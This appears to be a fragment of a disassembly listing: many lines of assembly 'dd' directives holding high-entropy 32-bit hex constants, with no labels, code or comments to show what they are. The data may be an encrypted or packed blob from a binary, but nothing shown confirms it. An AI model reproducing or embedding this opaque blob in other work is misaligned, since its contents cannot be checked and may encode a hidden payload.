		dd 49E96812h, 0F92587ABh, 50A1F955h, 1A12B3BAh,	0CDBC4018h
		dd 504C7D10h, 5A078702h, 0FB211E07h, 695BD4D7h,	442EA8CBh
		dd 0BB9B1CD8h, 2F686DDCh, 0EF985D2Ah, 0CBC06DB2h, 3BBA215Eh
		dd 0FE2D0758h, 52320336h, 12404396h, 0BD2E2705h, 8308A016h
		dd 975F1D10h, 0AD5F4121h, 2F1F5A68h, 73BBE231h,	3046D96Bh
		dd 3E3EBE49h, 25E9C09Fh, 3ADDA07Bh, 2A147D1Ah, 521749B1h
		dd 0A7CD62ABh, 5A12CFF8h, 0FC12FB29h, 0C6945ADh, 0E9855156h
		dd 66BB32EAh, 5425A425h, 8169B05Fh, 0BB3E866Eh,	782F70h
		dd 0DE5CB084h, 1BD6BF3Ch, 0B7436230h, 53D22559h, 15E9FBA7h
		dd 0F10093DCh, 105FBBE2h
		dd 0B4E0F440h, 71B940D2h, 81B8753Ah, 6582784Fh,	31844096h
		dd 0FD03F4C6h, 2984FC7Dh, 56B7E4D1h, 69E97940h,	31E1DD47h
		dd 0B342E71h, 60101DB9h, 9DDA40B1h, 73F03BD3h, 29A09774h
		dd 1AB533DBh, 0B1121398h, 97A0E079h, 0B5A0F8CEh, 1163658h
		dd 0DDC00E16h, 5AF74E0Ah, 2A16E0E8h, 0B47E4741h, 575F5260h
		dd 2CCBF7FDh, 0B66246F4h, 651EDE35h, 0CE6B8251h, 0EB0F9EABh
		dd 0BF21950Bh, 8E26AA68h, 1C69C4F1h, 9564C425h,	20C43E7Dh
		dd 214FAE52h, 0FC7C08A6h, 1C8869ECh, 0DBC52B80h, 15585D25h
		dd 0B10F329Ah, 0B67B57E5h, 374AB43Fh, 0C6FD41EAh, 6F3A8376h
		dd 0F541101Eh, 7F3D4893h, 0D874166Eh, 0F20181D4h, 37950277h
		dd 207A91E9h, 545FA0FDh, 4420297Bh, 0D96813D3h,	0C5F3A81Ch
		dd 31A39DFEh, 45208258h, 8078B304h, 0E5EA88CBh,	0E5B22F9Dh
		dd 45615805h, 86AD0607h, 10A15596h, 40133ECEh, 0EFF4D7CDh
		dd 262D005Dh, 1172076h,	7A205F8h, 673A2582h, 4900F50Bh
		dd 26683F4Dh, 1D59F49Dh, 75DD4BB6h, 0D01EBDC2h,	891D5C9Dh
		dd 174472C6h, 294A1EF0h, 348EB8Ch, 417B0905h, 40AD9F7h
		dd 84777FE9h, 1A94056Fh, 0AF5F7FB6h, 0D2212365h, 5200BE88h
		dd 2FEFC2B2h, 5EB738B0h, 998C3172h, 18897643h, 80107601h
		dd 0F6FC1DE1h, 0E0C14BD9h, 0C0EC7383h, 602C04A9h, 925A64A2h
		dd 292648h, 209EB652h, 36CB5AF1h, 7C4E213h, 5866E1FDh
		dd 98277016h, 0D147208Ch, 0EA815E03h, 9201572Ah, 2542DD29h
		dd 0C4FD0809h, 17E91C72h, 0A35F25B6h, 8279B3FAh, 751D3D8h
		dd 0DB2CF828h, 0A84BFF64h, 75BF8BC5h, 0F01C8514h, 892458C8h
		dd 8C17A3D1h, 12457029h, 0A8AC2BD8h, 12C380CBh,	4F328C0h
		dd 914216EDh, 2F0583E5h, 0FC41CE8Fh, 0B405A628h, 12E22816h
		dd 55A91A8Dh, 30A8C675h, 4D53312Dh, 1392279h, 0BB94A5Eh
		dd 68715889h, 1ED8382h,	4044D545h, 0D8C28009h, 9402DFF0h
		dd 5E044AE8h, 31861FADh, 0CE5406F1h, 1AD60C06h,	803DEC4h
		dd 4F7163E9h, 68FE4570h, 0E397972Dh, 0DB2575F5h, 0E6CF585Eh
		dd 6056EECh, 0B2C4FEC4h, 2EB78027h, 0D608EFC0h,	89BE53A0h
		dd 81BF14BDh, 9B2E2762h, 0E4832267h, 256ECFFFh,	0FE69E831h
		dd 28A92568h, 278BC879h, 6C47560Fh, 7402E816h, 0CE920BBh
		dd 2F7E516Ch, 0E2C10D04h, 0FC0B76A3h, 0E9FDD372h, 0E7C545CBh
		dd 431E97Eh, 55757AD8h,	0F2D41E0h, 542926A0h, 15A08C1h
		dd 948D3E4Ch, 84101106h, 2F4ED01Fh, 86D4AF93h, 0EBA98A57h
		dd 0EF709885h, 753ED6A4h, 81E39DBCh, 68070605h,	0FC98027Bh
		dd 4583A1A1h, 205CF17Fh, 6F2411FFh, 8C13988Eh, 355FD740h
		dd 0E3010A64h, 549A06Eh, 4754AB5h, 0A2FEEDD7h, 0B8452679h
		dd 0CDD6885h, 0B6E62CFFh, 0D38E235Bh, 0E4555525h, 21DF95D5h
		dd 3E93E9FBh, 0F884743Ah, 68BB5E27h, 0FBA6654h,	0F8DEBFE8h
		dd 0F4ECB02Ah, 29903E7Fh, 8A8E3A20h, 5838D491h,	41E671FEh
		dd 2241D895h, 0C66586D6h, 0BE855CEh, 0D8E25B2Dh, 525CD389h
		dd 0F1D4B860h, 0E9E70984h, 0F6FA43EFh, 792F7E25h, 0F9AE4D0Dh
		dd 490B2A71h, 0B5F1D85Bh, 8FC3C168h, 0B56FBAh, 0D378E25Dh
		dd 16A5AB2Eh, 0EA9809CEh, 0B6C09B64h, 0FD3840EEh, 0B37B066Fh
		dd 699546B8h, 6D00D78Dh, 584FD060h, 0C381ACE2h,	6F6F6BE9h
		dd 0E496D2BDh, 37531F5Fh, 85015FCEh, 779630A3h,	9D528A60h
		dd 0D2224847h, 0EC596B96h, 0EE24E908h, 0DD8B7880h, 1B0DB5Bh
		dd 292E1AEDh, 0B56A603Fh, 0B685180h, 2F0422A3h,	0D1C2FE54h
		dd 2E54249h, 74C6CF94h,	4086CDBEh, 5C22F09Ch, 0E981461Ch
		dd 65343607h, 0CCDE7552h, 7C9B59C1h, 0B82DEA5Ah, 0A113C679h
		dd 6D88FBD4h, 6BE64107h, 31795FBDh, 621CBD11h, 0C5D7816Bh
		dd 55B33CB0h, 0B6C8F5EEh, 2678EE80h, 968AA42Eh,	122F968Eh
		dd 83E4F3AFh, 1CA337E9h, 72DBA20h, 0B3422E39h, 17079C85h
		dd 4F8A2A70h, 0F3CA81B0h, 36752F74h, 0FB17B770h, 0CE043C5Eh
		dd 76B3AE3Ah, 164CF410h, 0EB01C7B2h, 26C4801Ch,	60306161h
		dd 0F3D6627Eh, 7A755FFEh, 0E3460B89h, 3DED8CAh,	465B5009h
		dd 967F954Fh, 37D49599h, 1BDADD72h, 5D6E202Dh, 0B3093C12h
		dd 0F9A5C357h, 0A22EBBEBh, 9FF29664h, 8F402A27h, 5297CD87h
		dd 297E131Ah, 0B76C0406h, 2A99A989h, 40EF745h, 4FBA2CC4h
		dd 0C08B6BB2h, 0B8C2B729h, 80CD027Bh, 0F7089AC6h, 9310EBF4h
		dd 358FBE3Bh, 33443B9Ch, 8849AA95h, 25610106h, 0B6A3D8Eh
		dd 0FE89BF0Ah, 723FD5F4h, 90D508A2h, 80B54379h,	5C1E9ABBh
		dd 5B9380A2h, 0A2EF4152h, 0ACA9A313h, 0EF17AE12h, 9C167D19h
		dd 0FDE5EA04h, 12FAE26Eh, 8AEEE768h, 59E9097Bh,	9585A86h
		dd 111E65A2h, 126EB075h, 0E4C4B014h, 78134BE5h,	0FF60D95Dh
		dd 5EB9C74Fh, 8159485Fh, 48327210h, 1979C6DEh, 5C6C400Eh
		dd 574C5D7Eh, 58EB48F2h, 48996A1Fh, 5D6FB80Bh, 0D2B0A366h
		dd 0B4C4CD4Fh, 0E5CBEDBAh, 5452C1FAh, 0C2B0285Bh, 5F99BDE9h
		dd 10A5BDBh, 0E9E121C3h, 316AFC36h, 3A77C649h, 52634CCCh
		dd 3B1718A4h, 7A9AFE72h, 0E19DE916h, 9A9A6AC5h,	0A362C62Fh
		dd 0E99679DDh, 0D845E2DCh, 0BE599B4h, 6BCC31FDh, 0D059E284h
		dd 0A476CD14h, 7DF35750h, 0AF85AA13h, 2612A3BDh, 733F399h
		dd 33861EFAh, 2F2B9AD3h, 0BBE05E1Ah, 3B2455EBh,	0F40073C9h
		dd 29376B22h, 41E913FEh, 16ADE9BFh, 22E349CAh, 0DFDCD227h
		dd 186C2B88h, 3EB64E5Bh, 563DAC00h, 0BA28A0BEh,	27E91406h
		dd 57CFCBFEh, 5CDDD32Ch, 3EF3C4FEh, 5425CFA6h, 681260CCh
		dd 128D1637h, 0A4F885EBh, 244050E2h, 15BB5F9Eh,	5A255B39h
		dd 0AE863DE2h, 0DF4B0F85h, 561071B7h, 0EED116ABh, 0DCF03E1Ch
		dd 9312544h, 0A61E9F2h,	0A169117Eh, 65A6821h, 0A2D14A25h
		dd 1001A36Ah, 5F25D54Fh, 0F7F2C87Eh, 5A5C47B0h,	1197FD96h
		dd 0B7539100h, 1EFA8810h, 0A5D1285Bh, 0E983EC8Fh, 0FA8518A3h
		dd 0A61C25A3h, 0F32520A0h, 8754D951h, 0CBC9536Fh, 0E61C9075h
		dd 0B08B82CAh, 3740540Fh, 0C6B92F06h, 49E5DD16h, 2AC7C301h
		dd 136142AEh, 0C57773DCh, 0CB1FE061h, 7BA59A1h,	5FD0170Ah
		dd 0B0EC55E9h, 68E61C27h, 724D9777h, 25F298C0h,	6418DDF2h
		dd 1D9ABC8Fh, 524E4C02h, 60B8502Eh, 9D173769h, 40684D60h
		dd 8A31515Fh, 2A63A9D9h, 9AF4D13Ch, 0B7249000h,	0E92FB9B6h
		dd 0EEA468F3h, 0FE051686h, 0EE111220h, 0A8FC80C6h, 1E8CB983h
		dd 934AAE5Bh, 860FE002h, 9FAC64Fh, 147D67D5h, 4F1EB0E8h
		dd 3D0CCC82h, 1FFC4D4Fh, 7AC5F8B5h, 5C0B069Fh, 6DF33AA8h
		dd 0A5402124h, 91D09C5Dh, 857DC280h, 5C8D395Dh,	84B5BC6Fh
		dd 126A3Dh, 56C8E5B2h, 0CF2F29D1h, 924D659h, 84033435h
		dd 50275205h, 0C7E26889h, 80724B6Eh, 176A8756h,	2BF5735Eh
		dd 821C0806h, 0E2C1C114h, 0F1FAF83Eh, 0C3729FE9h, 336AEA02h
		dd 0F65711B8h, 5AE2010Dh, 21089E18h, 40EE2E78h,	33EF6842h
		dd 0D340298Dh, 4B694FF7h, 0F38559C4h, 7648C2B5h, 0B7B1BF41h
		dd 0ABA2A80Dh, 0B2396688h, 6A729D61h, 8228E5A4h, 0EE7E79AFh
		dd 5FA0D4Ah, 41A9C530h,	683C77E1h, 0C86CCEC3h, 0FE505B0Bh
		dd 74960B78h, 2E006979h, 62356B2Eh, 1D2BDC9Dh, 444692E9h
		dd 52309FADh, 82BCF3EBh, 0B1461C68h, 0E53CB6F4h, 35055800h
		dd 836EBA59h, 4095C07Ah, 698AE96Fh, 0ADF82297h,	80AB40FBh
		dd 0F3B00ACAh, 5C4B7B9Ah
		dd 3A12AFE2h, 0CB67AA12h, 9B67FA3h, 4AC96828h, 584AD69Ch
		dd 7B098EABh, 2A3C024Ah, 0ADFB2DE9h, 0F7E7AE51h, 0BF72038h
		dd 3DE28609h, 8D08D2F1h, 0AD422DAEh, 4C4A5842h,	2D70E5DFh
		dd 5600A745h, 258D6853h, 107A4C9Ah, 5C0CF307h, 205D39F9h
		dd 9C867B4Ch, 3EE91389h, 6ACBBB96h, 54DE2F7Eh, 338B295Bh
		dd 0B94E55E3h, 68E4E190h, 544CBB3Bh, 0A0CB5F2h,	6DEC380h
		dd 0EB283C5Ah, 0B307EB72h, 50905966h, 0C3E065B0h, 353AE4B4h
		dd 0A4FA0EDFh, 0D80AF75Dh, 8DEFC197h, 63AC6C12h, 0B1AFEC4Ah
		dd 0E04D497Bh, 48369340h, 0A0614E5Ah, 150368A7h, 0E9596B4Eh
		dd 69A7FC84h, 20C4D94Ah, 274890B5h, 17C2D37Fh, 8280099Fh
		dd 397604EEh, 6E47A4Ch,	6829137Fh, 3CAA7718h, 0C44F078Dh
		dd 58080CB0h, 342F4864h, 4755C05h, 0BCE82793h, 22BC0472h
		dd 0FFED4129h, 0A98C3D13h, 68EB2F47h, 8267CFC5h, 0F66B605Dh
		dd 0ED0426D0h, 0E3B017AFh, 8BAD23Ch, 0AB254D79h, 568E044Dh
		dd 0FAEC5B09h, 98BFAB20h, 0B9052D62h, 5C5859D6h, 607AFE55h
		dd 0F4802AFAh, 0E639888Eh, 0B580CE58h, 0E72852C5h, 0CED6EDF9h
		dd 86532F99h, 0B701E4h,	1D0A937Ch, 5A50FE6Bh, 2D95222Ah
		dd 1879F95Dh, 77B49B6Bh, 0B05B60F0h, 0BB3A30F3h, 128533DEh
		dd 0F78BE34Ah, 5836F34Ah, 1DEA4A15h, 5B5E8035h,	9E685155h
		dd 976A72h, 2E92E19Bh, 1D0E76B4h, 572887F1h, 242CBD50h
		dd 65102AFDh, 2AAB800h,	0A63548D0h, 6EE57316h, 7EC3FF13h
		dd 538BB154h, 4814F72Fh, 6B5B55B9h, 0B285A794h,	0ECD3CFA8h
		dd 53208EF5h, 0BD5388h,	2F985FB8h, 2B99CD81h, 0F216972Fh
		dd 0EAC30067h, 0EB2987A0h, 0F0B5CCE9h, 84BB5742h, 3995277Dh
		dd 0C3885A51h, 1D2E248Fh, 4B2ADE05h, 350DEE01h,	7BDB027Fh
		dd 892F415Dh, 0CF7FB27Ah, 0C1F98F51h, 0BAB4E9CEh, 0F516402Ah
		dd 55A2E8D5h, 0DE9D58E2h, 0B22A458h, 9B057CFAh,	59C1F2B1h
		dd 571E2466h, 0C9F28087h, 5F915992h, 44E43C44h,	9909642Ch
		dd 0DD967989h, 0C6A7DCC7h, 90C903Eh, 60540D06h,	0B94B80F5h
		dd 43FDD62h, 0CA40CC25h, 5142C049h, 7462F4E9h, 57EA0942h
		dd 24A03316h, 8B0920F4h, 0F0D3F76Fh, 0E05CA1B0h, 0DCCD0101h
		dd 50964C18h, 0F311848Bh, 0A902AF51h, 53F79CB9h, 107F25AFh
		dd 70A068C0h, 96F5953Bh, 0E594B7D3h, 7245204Fh,	0C52065AEh
		dd 4863B8E7h, 0F70E3760h, 44292B87h, 0B71803F8h, 0CC74B3B4h
		dd 0A3B65E05h, 5F1161F1h, 0EABDD987h, 64729228h, 0A850DAE8h
		dd 39BE02F3h, 7D69EA52h, 6F4D1E2h, 3A135913h, 292FA19Dh
		dd 0AC33206Eh, 12CC724Fh, 9A4B54B2h, 76472473h,	0EEB40A18h
		dd 955E5297h, 0D2D4E9F0h, 0BCE643B3h, 0FAED7960h, 4DA1F4h
		dd 551C04B2h, 63F975BDh, 3CE06AEFh, 7EF49701h, 49685285h
		dd 59E9A8F0h, 0B94A5B0Bh, 0BCCC84D8h, 0CBC95A0Ah, 7CDB05F7h
		dd 0D4CE236h, 13280B56h, 9A282D61h, 0C0F0D707h,	9533F200h
		dd 45E9B8B3h, 0AD9A994Ch, 49C28D14h, 0FA016858h, 0AE382078h
		dd 8083B604h, 7182BEF6h, 41BF0792h, 205B8A67h, 0B74DBD7Ch
		dd 787041Bh, 6D8219A6h,	4E99CB08h, 0A3099115h, 0D90900B3h
		dd 5B68715Bh, 19DDF678h, 0C51345B8h, 0AA5CC6DCh, 13EEF45Dh
		dd 1B60EA53h, 58015FFBh, 0AAB56EDEh, 29177CE3h,	0B566A8DAh
		dd 861CC00h, 32E95E9Dh,	0E8A3A24Fh, 71E64D7h, 3A02D835h
		dd 9EE3A20Ch, 970B914Bh, 0B0299468h, 9DCA338Eh,	0A9CBC6F9h
		dd 0AAD58438h, 2FD7E813h, 6C10C121h, 5A0B182Ch,	9554E668h
		dd 0FDA7C19Dh, 7704C2A9h, 0C0BA13B4h, 805E4563h, 424A3C7Dh
		dd 0B15C6683h, 352EBC19h, 68794267h, 57900A84h,	0FE9D96A1h
		dd 0EAF15B94h, 0C7B67F84h, 1D0D2B1Bh, 5E5E8C4Ah, 10B533C5h
		dd 6BDD2E1h, 12E2EB8Dh,	0F7076ECAh, 4CE46FC8h, 2E83DDEEh
		dd 0F052FC5h, 9C2897B6h, 75A43868h, 2565AF5Bh, 76CA5680h
		dd 2FCE2C81h, 9410144Fh, 6418A948h, 1EE73DACh, 0CAFA989Fh
		dd 334C016Ah, 0A59043BFh, 2B01314Bh, 66F75F5h, 87BA7E9Fh
		dd 70A1E709h, 0E23EE252h, 6763D52Eh, 38A0065Fh,	0CE7D0917h
		dd 4BF889F8h, 77919CC1h, 0AD3C2265h, 9C831200h,	5EF58929h
		dd 530382B6h, 8A320868h, 0ECC35044h, 4F9E0437h,	0FFCBD6E9h
		dd 5D14A432h, 3E9E4D1h,	5E3427A6h, 0B007A00Ch, 0C22C1DBEh
		dd 31B3AE88h, 6CF0CD0Ch, 0FB06C40Dh, 0DAC740FFh, 52E570Ch
		dd 5C445925h, 11620859h, 0F5A88913h, 1F61B704h,	7C0EBEBh
		dd 76148C71h, 11248B29h, 0F4274858h, 0A80194B2h, 0B0F04125h
		dd 95EB3CBFh, 681821F5h, 0A66E7C83h, 3E7D153Fh,	91B20009h
		dd 4DE923B3h, 3D5EB5A2h, 0BE91DEA7h, 0FFA1C913h, 2443375h
		dd 1CF25E50h, 21F40093h, 0E91DBA18h, 0DF837A2Fh, 3D902F16h
		dd 7672901h, 0DF97E97Dh, 0AF5E2893h, 2F2FE98h, 0E934E707h
		dd 0E65E59C8h, 6B6B0B2h, 0F8B0515Ch, 0D477DB27h, 34C46B2Fh
		dd 47DFF712h, 97FFB7EEh, 0B01EE6ADh, 4C32DE0Dh,	3040647Ch
		dd 0F658C209h, 168A78D2h, 0FAE2281Ch, 0E913ED2Eh, 2CCB8132h
		dd 696FDC84h, 0ED268092h, 0AA125508h, 1003D023h, 1805E633h
		dd 4B24EFC1h, 0ED59C933h, 179A1FDh, 0B24252F5h,	284959A5h
		dd 0F2C644BBh, 0E753AF0Fh, 0BAE2651Fh, 0E5BF39FAh, 76F86A0Ch
		dd 68FFE9F1h, 44E34AB0h, 0A4F7FC5Ah, 975DE2EBh,	27E947B0h
		dd 3DE87EE5h, 0D60511DFh, 1B4A684Fh, 0A081CA8Ch, 1673C7E3h
		dd 15A238Ah, 69685726h,	4BC03F01h, 0B2C7E956h, 0D62924A6h
		dd 426E1702h, 442ADE51h, 6DF1FA40h, 97917F95h, 0CA676FB5h
		dd 0C2D03ECh, 5C4017D3h, 72024A6Ah, 93E948B9h, 89F5569Bh
		dd 0EEFFDEB6h, 5525028Ch, 0E8C17681h, 0A94C9260h, 2F15C7B5h
		dd 0EA04037Ch, 0E3EFD588h, 0CAF63C3Ah, 16FE6AF0h, 0D1F586CDh
		dd 68B27201h, 841E96F6h, 519E2B89h, 0D9F70C06h,	832F5D0Bh
		dd 201BF0C5h, 2D003A9Bh, 4D906675h, 3A7FA705h, 359E1040h
		dd 80FD263h, 68128CE8h,	0A45487EBh, 7D74B35Ch, 0F221330Fh
		dd 4E8AA678h, 6569252Fh, 59140AE5h, 338F249Fh, 0EBD17705h
		dd 5B89CEB8h, 0D80589DDh, 121E16CBh, 4D32036Ah,	0C18C276Ch
		dd 6A0CFDA5h, 80E432CDh, 9647BF7Bh, 51C20185h, 0D32DEC0h
		dd 5B59795Fh, 0F276DCCAh, 6E8D7AFBh, 3E02B57Fh,	0BC939CA2h
		dd 0DAB95B01h, 6931EBF4h, 757B8D85h, 0D4E3EBBDh, 7039ABD7h
		dd 322CAE2Fh, 382DE751h, 9FF43220h, 0CBA2135Ah,	0E4934B3Ch
		dd 61CDBFD2h, 5E94DB7Ch, 91207E2Fh, 32C61B52h, 1E970CC1h
		dd 0C13E7176h, 4723781h, 998B74B4h, 0AB6F1296h,	3835CF31h
		dd 0FC7E04F5h, 2A76047Ah, 65AA4C30h, 4B7EE74h, 2F05B64Fh
		dd 0AD7D857h, 62BA698Eh, 6EF00B7h, 5EE92788h, 298EA64Eh
		dd 2161680Bh, 9115AFB0h, 0FA34A0D7h, 230DEB4h, 0E9148301h
		dd 0A2564607h, 82866678h, 61B0F300h, 0CC12B11h,	21AE6F77h
		dd 0C218BC38h, 0B0EF4390h, 637FFD1Eh, 710834CBh, 495FEBDDh
		dd 0AAE9E917h, 5E8A3C6Fh, 0E1D1519Fh, 2B8786E9h, 529F9D0h
		dd 4009E408h, 0F40CF6DEh, 0C63484Dh, 1274182Fh,	569EBA4Fh
		dd 892B1617h, 29811CA9h, 38C3E9DFh, 682575F8h, 8008385Eh
		dd 209616EFh, 50BA61F8h, 27EC2F54h, 9ABA52F0h, 0D600704Fh
		dd 0C617A4EAh, 0B7D17622h, 1435CFE0h, 0F819202Fh, 9B581864h
		dd 6FA40C0Dh, 1F0550Bh,	5CCD9D5h, 0BE714268h, 59BA5460h
		dd 521C3F95h, 0B775D882h
		dd 26C25A54h, 7FE18560h, 1DA82D80h, 40460411h, 0CE37140Ch
		dd 1C064721h, 5DF0E958h, 192505F0h, 800F451Bh, 0D762B63Eh
		dd 0E9494809h, 67C9FF5Ah, 378C3007h, 0A1615181h, 5902CF28h
		dd 0BF21DF2Dh, 8ACC5640h, 3319F597h, 0D2DA2555h, 8A4055C2h
		dd 0D09F33CAh, 0B817349h, 0CC35FB78h, 0A72F5C41h, 8B8556BBh
		dd 0C4C64D61h, 5904B32Dh, 26288E1Dh, 0D6CAFE12h, 3F5B9A8Dh
		dd 0B54837CFh, 0D1A34D13h, 3F70EFFEh, 510CC253h, 0B645DE65h
		dd 8CC580B9h, 53901F7Ah, 0FB688A0h, 0A9F261C0h,	902C4530h
		dd 0A20F952Fh, 0F68036E0h, 0F57C28E5h, 65C0D524h, 0E2624140h
		dd 5E06F61Dh, 512FA4B5h, 84909D4Bh, 5F7DCA85h, 7483C104h
		dd 551A98C1h, 975A3F78h, 0C0037466h, 1494137h, 5097FAD7h
		dd 0C6FC97BBh, 38ACD18Bh, 826FF427h, 8276624Ah,	0A819E325h
		dd 5E2C1CE1h, 0D1D1A088h, 680350E6h, 3BA78B2h, 98C1E358h
		dd 280F181h, 0E9E524F2h, 0ADFF28EBh, 0A67036CAh, 0E4DD5888h
		dd 66EB3F74h, 0FCF38009h, 5B05BE56h, 8B833404h,	0B3AE06ADh
		dd 1AD8287Fh, 60C86FFDh, 817840E6h, 4675C704h, 2287163Eh
		dd 0B2568E11h, 906EB720h, 293B122Eh, 8AA10FAh, 0EADD9C5Ah
		dd 7F303704h, 0FE825033h, 1959D5F5h, 7899AB4Fh,	5B709D04h
		dd 7AF9C780h, 0A58F132Fh, 77B8CC89h, 0F316B54Ch, 0A2EAB5Eh
		dd 8618931h, 0A025B562h, 2A7C17BDh, 7F3E6CBh, 48866856h
		dd 0C500EB54h, 4B3C67CEh, 39D7940h, 0E9640539h,	322D9243h
		dd 239EF55Ch, 0A7973A0h, 2DC3659Dh, 0F30AB646h,	0EC65031Bh
		dd 0C0480C3Ch, 1FEC0C2Bh, 166E622h, 736D5BC9h, 0A5D13028h
		dd 0D7888212h, 4B410AB1h, 332D32C9h, 0D9251420h, 66F0F91Eh
		dd 23243056h, 42CF638Dh, 87678735h, 4F1254D4h, 34795505h
		dd 4A4209h, 7B78A99Eh, 0BEE97232h, 0ED7E2D46h, 86FF153h
		dd 2D5CE6Fh, 3211AA05h,	0FB087F7Fh, 0BF570007h,	643C53E7h
		dd 290B89A0h, 31334F0Ah, 42EA23CFh, 1CE5314h, 219C2D5Dh
		dd 0EAD4317Dh, 146D7619h, 705F829h, 5611A275h, 505D6261h
		dd 0D92080F2h, 0EE597A99h, 7A024D66h, 888E7785h, 1A1E07D1h
		dd 0CAD8162Ch, 78C68017h, 539125BFh, 2CC03DDAh,	851FCCC1h
		dd 2DFCED45h, 343D256Eh, 0D28C2156h, 9EA55B8h, 28886ACDh
		dd 0BB5EAFE2h, 1266EE88h, 3D61FF58h, 0FE04D97Fh, 5FD50A89h
		dd 0E9C2F128h, 2057A14Eh, 612D584Fh, 5F79282Ah,	26633A8Ah
		dd 1AD82913h, 0C0432980h, 7C286C32h, 497CDC8Ah,	0C00B1B02h
		dd 0C38F6E3h, 2DE84FC9h, 0A80E382Eh, 5D807F7h, 24D422CEh
		dd 889CBF01h, 5A32568h,	0F7729EF6h, 670C91A0h, 0E93C11B1h
		dd 0D55DCAF1h, 0C90143E4h, 465E3BEBh, 4C94A2FFh, 1DBD1D5Ch
		dd 0FA878BFFh, 0E4F94A75h, 5AC0A08Fh, 4ECA9A8Bh, 78D8F6DEh
		dd 8080F4B2h, 5DE83EABh, 29F486A4h, 17E9AEC2h, 24D50B4Ah
		dd 86FC4EEDh, 5462BE07h, 26460F9Ah, 24D66594h, 0B5F8EBBh
		dd 779389E9h, 45FC471Ch, 1D0E85Bh, 0F4E32808h, 516A5973h
		dd 2D0E005Eh, 19C06CB5h, 5511FB0h, 40EF2E07h, 0FE50B63Fh
		dd 0D60FF6C6h, 0C561B551h, 34FB3A39h, 0EEB6EFAEh, 815B79D4h
		dd 2B5F54D9h, 139BD6D8h, 833B545h, 53005C6Bh, 0CBB85057h
		dd 499F062Ch, 2E7B17BFh, 0BB88E09Fh, 3FF10A32h,	89A001EDh
		dd 0A9F2CBC2h, 89531A34h, 266F8280h, 4AB0F617h,	23CB4A7h
		dd 10366095h, 20DAB00Bh, 6A98B390h, 18C4CE83h, 95841EB6h
		dd 0A0E71ADFh, 0F22DC72Eh, 2306B539h, 0E913D355h, 39F4D1E2h
		dd 0F12B1EB5h, 0C3D6D34Bh, 50DB882Dh, 5ADD49Bh,	5E6D1EC5h
		dd 0E1DA392Fh, 39AA2B62h, 0FB8255E9h, 129218B3h, 7467E972h
		dd 3B14C54Fh, 0C9770B43h, 501A7662h, 331D0705h,	0D9476715h
		dd 1813E5Ch, 7472DF0h, 0F925115Ah, 0EEF197DFh, 0FD6BE73Dh
		dd 96E9C23Ah, 4B96FF5Fh, 0B62C8C90h, 0B941AF21h, 0B3BB351h
		dd 0C841041h, 0BDD4FB17h, 0E9570801h, 0D5693ABEh, 46E8E8D2h
		dd 54551290h, 8F178CFBh, 1BC384Fh, 768BDFB7h, 6DCEA2C8h
		dd 61BF2BE1h, 0C293EC89h, 0BE2A5BF7h, 0A8DA4793h, 5827C4F7h
		dd 36091214h, 93482BB2h, 0C9FD41C9h, 1F85C268h,	2C8EE1CFh
		dd 0E95DB097h, 9D30706Ch, 275C9657h, 0C673AAA0h, 57E79ABDh
		dd 0C3B9D716h, 25116C23h, 4C4DA4Fh, 84747582h, 0FD411289h
		dd 31A4E908h, 274F8C6Fh, 2F38279Ch, 55C31AF3h, 6885F779h
		dd 0C3A8296Fh, 9295E9C5h, 0C0D530DAh, 81F04848h, 0AD177B28h
		dd 5F678216h, 0A1C187B6h, 172B930Fh, 0B771BE90h, 5E69A271h
		dd 4CA7BF10h, 534209C9h, 1D08554Ch, 0E3E90507h,	374FFEFBh
		dd 4EEF0438h, 86D3FB13h, 78E9DF53h, 22BB04C5h, 0A0596E3Ah
		dd 3B05F316h, 89C290BEh, 46C490BFh, 1C4B2A11h, 2D8309F0h
		dd 0D3F6AAB3h, 4E4C5918h, 4F039A6Ch, 5C5FA9EFh,	0AA9414FCh
		dd 6B4B176Fh, 0DF40A3C9h, 58FB1065h, 0AB04EF06h, 0C050133Dh
		dd 7B5EA455h, 9B412728h, 0B24C5995h, 0A2558852h, 0E83BB302h
		dd 12E5BEC8h, 32695542h, 20DF2937h, 508FE6D6h, 0CE7660FBh
		dd 45534D83h, 0AAE0294Eh, 0AA6816DAh, 9EA66133h, 7C5AF572h
		dd 6A1E0971h, 822007Fh,	5B6DD327h, 94F1AC4Fh, 9E884BF4h
		dd 504D04BFh, 0C4316518h, 81308496h, 2EE12D23h,	0AA1A64BEh
		dd 57582BF2h, 8264A22Dh, 29325179h, 0F5F935C4h,	611BCE40h
		dd 0F5812C00h, 18A21C62h, 90C02AE9h, 0E5F305BFh, 0BB3EE46Ah
		dd 0A14512C8h, 922265AEh, 5A8BEB3Fh, 0CDD65D9Eh, 0C1000634h
		dd 68F802C3h, 0B0EDEC78h, 24C82FA5h, 823085Fh, 0B10AC52Dh
		dd 3BB443BFh, 88B1C1ACh, 20E228D5h, 16BB26A8h, 12BC31AAh
		dd 5B357EC7h, 0EBD505BAh, 0A23CE83Ch, 2BF9D879h, 8244D831h
		dd 0F612330Dh, 7E8B340h, 577E2502h, 0DF562EDAh,	79978452h
		dd 0ACF0C41Bh, 0F4BE0004h, 0C154C93Ch, 0D08095E6h, 6A686E87h
		dd 7C08D2B7h, 1D913167h, 6CD0FA56h, 68419EB0h, 74445059h
		dd 50148B7Ah, 2C317244h, 4EEE0C92h, 0AB8B247Ch,	0C76870FEh
		dd 8D25BF03h, 893CF923h, 857A276Bh, 0FA489562h,	0C17A14F0h
		dd 0B4508506h, 1F4E471h, 6A5BAEB0h, 0C0B731AFh,	60CB4D82h
		dd 19245A38h, 11094FD0h, 6C137739h, 3A9DE5C1h, 79E96724h
		dd 52661418h, 544F5868h, 0B2104EF3h, 5BEA4B02h,	92059EFAh
		dd 5F66804h, 0E2B61743h, 551C0451h, 0BB58E188h,	0B48EDBDh
		dd 0BB0B7303h, 0C1F7817Eh, 0D81A8457h, 49188AF1h, 0AA0C2C88h
		dd 3608094Ah, 67786AE9h, 26C2801Ch, 288CEAC5h, 0C188F4C0h
		dd 1C58BF58h, 7FE9C90Ch, 2DA56Ah, 2184713Eh, 0BB53E801h
		dd 8023201Ch, 0E9C982EDh, 49EB7F2Eh, 0B50F9B2h,	78D66813h
		dd 8692C3F2h, 2309BAD9h, 5676294Bh, 0FC9D1212h,	1AA35F09h
		dd 0F8E95281h, 4322A4C3h, 0F35DAF3Bh, 0FC88095Ah, 93EFDB10h
		dd 0B7E2B26h, 0F310E10Ch, 0FE0E1EC7h, 0F4F296CFh, 3F1AEB41h
		dd 60546D2Dh, 807E463Bh, 6913AEBEh, 7C1FE416h, 0DFFA7509h
		dd 82EB1A94h, 0DF68E09Eh, 65DE7C40h, 0FF6256BAh, 8BDFE604h
